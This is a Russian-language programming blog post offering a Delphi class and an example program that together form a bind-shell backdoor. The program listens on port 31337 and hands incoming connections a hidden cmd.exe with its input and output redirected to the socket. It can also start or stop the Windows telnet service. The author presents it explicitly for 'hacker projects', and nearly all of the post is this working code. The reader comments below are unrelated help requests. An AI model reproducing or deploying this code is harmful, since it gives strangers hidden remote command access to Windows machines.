DevProg: Блог для программистов

Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!

Класс для открытия шелла с перенаправлением I/O

Posted by devprog на Май 22, 2009

Вот уже давно ничего не писал, пора исправлять ситуэйшн. Скажу сразу – мой первый класс в Delphi. Вроде б работает, но хрен его знает чё туды ещё мона прикрутить )) Может вы знаете?

unit xnShellWorks;

interface
uses Windows;

const
  AF_INET     = 2;
  PF_INET     = AF_INET;
  SOCK_STREAM = 1;
  IPPROTO_TCP = 6;
  IPPROTO_PUP = 12;
  IPPROTO_UDP = 17;
  IPPROTO_IDP = 22;
  IPPROTO_ND  = 77;
  IPPROTO_RAW = 255;
  IPPROTO_MAX = 256;
  START_PROCESS_INFO = STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  null = nil;
  INVALID_SOCKET = not 0;

//==============================================================================
// Структуры начало
//==============================================================================
type
  S_UN_B = packed record
    s_b1 : BYTE;
    s_b2 : BYTE;
    s_b3 : BYTE;
    s_b4 : BYTE;
  end;

  S_UN_W = packed record
    s_w1 : WORD;
    s_w2 : WORD;
  end;

  T_ADDRESS_UNION = packed record
    S_un_b : S_UN_B;
    S_un_w : S_UN_W;
    S_addr : DWORD;
  end;

  T_WSA_DATA = packed record
    wVersion       :   Word;
    wHighVersion   :   Word;
    szDescription  :   array[0..256] of byte;
    szSystemStatus :   array[0..128] of byte;
    iMaxSockets    :   Word;
    iMaxUdpDg      :   Word;
    lpVendorInfo   :   Dword;
  end;

  Tin_addr = packed record
    S_un           :   T_ADDRESS_UNION;
  end;

  TSockAddr_In = packed record
    sin_family     :   Word;
    sin_port       :   Word;
    sin_addr       :   Tin_addr;
    sin_zero       :   array[0..13] of byte;
  end;
//==============================================================================
// Структуры конец
//==============================================================================

type
  xnShell = class (TObject)
  public
    constructor Create;
    destructor Destroy; override;
    procedure SetShellPort(PortNumber:SmallInt);
    procedure BindShell(SockHandle:DWORD);
    procedure ListenShell(SockHandle:DWORD);
    procedure StartTelnetService(Flag:boolean);
    function  AcceptShell(SockHandle:DWORD):DWORD;
    function  CreateShell(ShellName:string;OutHandle:DWORD):BOOL;
    function  StartUp():DWORD;
  private
    FPort:WORD;
    FSocket:DWORD;
    WSAData:T_WSA_DATA;
    FSockAddIn:TSockAddr_In;
    st_info:TStartupInfo;
    pt_info:TProcessInformation;

end;

//==============================================================================

function  WSASocket(af,wType,Protocol:Integer;lpProtocolInfo:Pointer;g,dwFlags:Cardinal):Integer;stdcall; external ‘ws2_32.dll’ name ‘WSASocketA’;
function  htons(pt:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘htons’;
function  accept(SockHandle:DWORD;pt:Pointer;sz:DWORD):DWORD;stdcall;external ‘ws2_32.dll’ name ‘accept’;
procedure WSAStartup(wVersionRequired:Integer;lpWSADATA:Pointer);stdcall;external ‘ws2_32.dll’ name ‘WSAStartup’;
procedure bind(SockHandle:DWORD;lpSIN:Pointer;SINSize:DWORD);stdcall;external ‘ws2_32.dll’ name ‘bind’;
procedure listen(SockHandle:DWORD;Backlog:DWORD);stdcall;external ‘ws2_32.dll’ name ‘listen’;

{==============================================================================}
implementation

{ xnShell }

//==============================================================================
// Constructor
//==============================================================================
constructor xnShell.Create;
begin
  inherited Create;
  FPort:=0;
end;

//==============================================================================
// Destructor
//==============================================================================
destructor xnShell.Destroy;
begin
  ZeroMemory(@WSAData,SizeOf(WSAData)); // clean all str
  ZeroMemory(@FSockAddin,SizeOf(WSAData));
  inherited Destroy;
end;

{——————————————————————————-
  Procedure: xnShell.SetShellPort
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: PortNumber: SmallInt — номер открываемого порта
  Result:    None
——————————————————————————-}
procedure xnShell.SetShellPort(PortNumber: SmallInt);
begin
  FPort:=PortNumber;
end;

{——————————————————————————-
  Procedure: xnShell.StartUp
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: None
  Result:    DWORD — хендл открытого сокета
——————————————————————————-}
function xnShell.StartUp: DWORD;
begin
if FPort <> 0 then
 begin
  WSAStartup($0202,@WSAData);  // Activate ws2_32.dll
  FSocket:=WSASocket(PF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  FSockAddIn.sin_family:=AF_INET;
  FSockAddIn.sin_port:=htons(FPort);
  result:=FSocket;
 end
else
 begin
 Result:=$0;
 end;
end;

{——————————————————————————-
  Procedure: xnShell.BindShell
  Author:    Robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD  — хендл сокета для бинда (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.BindShell(SockHandle: DWORD);
begin
bind(SockHandle,@FSockAddIn,16);
end;

{——————————————————————————-
  Procedure: xnShell.ListenShell
  Author:    robo
  DateTime:  2009.04.24
  Arguments: SockHandle: DWORD — хендл сокета для listen (результат StartUp)
  Result:    None
——————————————————————————-}
procedure xnShell.ListenShell(SockHandle: DWORD);
begin
  listen(SockHandle,0);
end;

{——————————————————————————-
  Procedure: xnShell.AcceptShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: SockHandle: DWORD
  Result:    DWORD
——————————————————————————-}
function xnShell.AcceptShell(SockHandle: DWORD):DWORD;
begin
  result:=accept(SockHandle,NULL,0);
end;

{——————————————————————————-
  Procedure: xnShell.CreateShell
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: ShellName: string;OutHandle:DWORD
  Result:    BOOL
——————————————————————————-}
function xnShell.CreateShell(ShellName: string;OutHandle:DWORD): BOOL;
var reslt:BOOL;
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 st_info.hStdError  := OutHandle;
 st_info.hStdOutput := OutHandle;
 st_info.hStdInput  := OutHandle;
 reslt:=CreateProcess(NULL,PChar(ShellName),NULL,NULL,True,0,NULL,NULL,st_info,pt_info);
 CloseHandle(OutHandle);
 CloseHandle(pt_info.hThread);
 CloseHandle(pt_info.hProcess);
 if reslt <> false then result:=false else Result := true;
end;

{——————————————————————————-
  Procedure: xnShell.StartTelnetService
  Author:    Администратор
  DateTime:  2009.04.27
  Arguments: None
  Result:    None
——————————————————————————-}
procedure xnShell.StartTelnetService(Flag:Boolean);
begin
 ZeroMemory(@st_info,SizeOf(st_info));
 st_info.cb := SizeOf(st_info);
 st_info.wShowWindow := 0; // SW_HIDE
 st_info.dwFlags := START_PROCESS_INFO;
 if Flag = True then
 CreateProcess(null,PChar(‘net start telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
 else
 CreateProcess(null,PChar(‘net stop telnet’),NULL,NULL,True,0,NULL,NULL,st_info,pt_info)
end;

end.

А вот как это дело можно юзать в своих хеккерских проектах:

program shellset;

uses xnShellWorks;
type
 DWORD = Cardinal;
var
  Shell:xnShell;
  handle:DWORD;
  SHandle:DWORD;
begin
  Shell:=xnShell.Create;
  Shell.SetShellPort(31337);
  handle:=Shell.StartUp;
  Shell.BindShell(handle);
  Shell.ListenShell(handle);
  while true do
   begin
    sHandle := Shell.AcceptShell(handle);
    if SHandle <> INVALID_SOCKET then
     begin
      Shell.CreateShell(‘cmd.exe’,sHandle);
     end;
    end;
end.

 

 Подписаться на посты через RSS
 Подписаться на комментарии через RSS

 

Реклама

комментариев 6 to “Класс для открытия шелла с перенаправлением I/O”

  1. izverrg said

    Печально видеть сайт в запустении, отданным на откуп и разграбление ботам…

  2. Дяяя….старая темка, но ми тут нету^^ даже если не по картинкам смотреть))) нету и фсё^_^

  3. C0ffe1n said

    Мне понравился код, есть почва для раздумья ;)

  4. Алишер said

    помогите добрые люди написать программу на делфи 7.
    Шифрование текста
    Задается ключ (слово). Исходный текст делится на блоки по количеству букв в ключе. Каждая буква блока заменяется на букву, отстоящую от нее на n позиций в этом же алфавите (где n – порядковый номер соответствующей буквы ключа в алфавите). Если в результате смещения достигнут конец алфавита, то осуществляется переход на начало.
    Или хотя бы посоветуйте где искать материалы

  5. сергей said

    Помогите плз советом
    устанавливал виндос он установился на половину завис перестал устанавливаться
    перезагрузил все время повтор уст виндоса чип и требование диска вставляю диск нечего
    взял другой зверь не открывается
    зашел в настройки где boot выставил 1 двд ром тоже самое

  6. сергей said

    спасибо что ответили
    но подскажите пожалуйсто как открыть виндос
    или вотоновить старый до устоновки

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход / Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход / Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход / Изменить )

Google+ photo

Для комментария используется ваша учётная запись Google+. Выход / Изменить )

Connecting to %s

 
%d такие блоггеры, как: